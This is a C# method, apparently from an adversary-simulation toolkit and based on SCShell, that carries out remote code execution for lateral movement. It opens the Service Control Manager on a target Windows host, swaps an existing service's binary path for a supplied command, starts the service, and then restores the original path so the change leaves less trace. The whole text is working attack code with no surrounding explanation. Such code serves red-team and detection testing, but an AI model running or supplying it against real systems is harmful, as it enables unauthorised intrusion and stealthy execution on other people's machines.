//Based on https://github.com/Mr-Un1k0d3r/SCShell public static void ModifyRemoteServiceApi(Computer computer, PlaybookTask playbook_task, Logger logger) { var scmHandle = IntPtr.Zero; int createdErr = 0; int bytesNeeded = 0; IntPtr qscPtr = IntPtr.Zero; if (!computer.Fqdn.Equals("")) { scmHandle = WinAPI.OpenSCManager(computer.Fqdn, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } else if (!computer.ComputerName.Equals("")) { scmHandle = WinAPI.OpenSCManager(computer.ComputerName, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } else { scmHandle = WinAPI.OpenSCManager(computer.IPv4, null, Structs.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } if (scmHandle == IntPtr.Zero) { createdErr = Marshal.GetLastWin32Error(); logger.TimestampInfo(String.Format("Could not obtain a handle to the Service Control Manager on {0}.", computer.Fqdn)); throw new Win32Exception(createdErr); } if (!playbook_task.serviceName.Equals("random")) { IntPtr svcHandleOpened = WinAPI.OpenService(scmHandle, playbook_task.serviceName, Structs.SERVICE_ACCESS.SERVICE_ALL_ACCESS); if (svcHandleOpened == IntPtr.Zero) { logger.TimestampInfo(String.Format("Could not obtain a handle to remote Service {0}.", playbook_task.serviceName)); throw new Win32Exception(createdErr); } Structs.QueryServiceConfig qscs = new Structs.QueryServiceConfig(); int retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, 0, ref bytesNeeded); if (retCode == 0 && bytesNeeded == 0) { throw new Win32Exception(); } qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded); retCode = WinAPI.QueryServiceConfig(svcHandleOpened, qscPtr, bytesNeeded, ref bytesNeeded); logger.TimestampInfo(String.Format("Got handle for remote Service {0}.", playbook_task.serviceName)); qscs = (Structs.QueryServiceConfig)Marshal.PtrToStructure(qscPtr, new Structs.QueryServiceConfig().GetType()); string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName); logger.TimestampInfo("Original binary path " + originalBinaryPath); bool serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, playbook_task.servicePath, null, null, null, null, null, null); if (!serviceChanged) { logger.TimestampInfo(String.Format("Could not modify remote Service '{0}'.", playbook_task.serviceName)); throw new Win32Exception(createdErr); } logger.TimestampInfo(String.Format("Succesfully modified remote Service '{0}' using ChangeServiceConfig.", playbook_task.serviceName)); WinAPI.StartService(svcHandleOpened, 0, null); logger.TimestampInfo(String.Format("Service '{0}' started with new ServicePath {1}", playbook_task.serviceName, playbook_task.servicePath)); Thread.Sleep(3000); serviceChanged = WinAPI.ChangeServiceConfig(svcHandleOpened, 0xFFFFFFFF, 0x00000003, 0, originalBinaryPath, null, null, null, null, null, null); if (serviceChanged) { logger.TimestampInfo(String.Format("Restored remote Service '{0}' to the original path.", playbook_task.serviceName)); } } }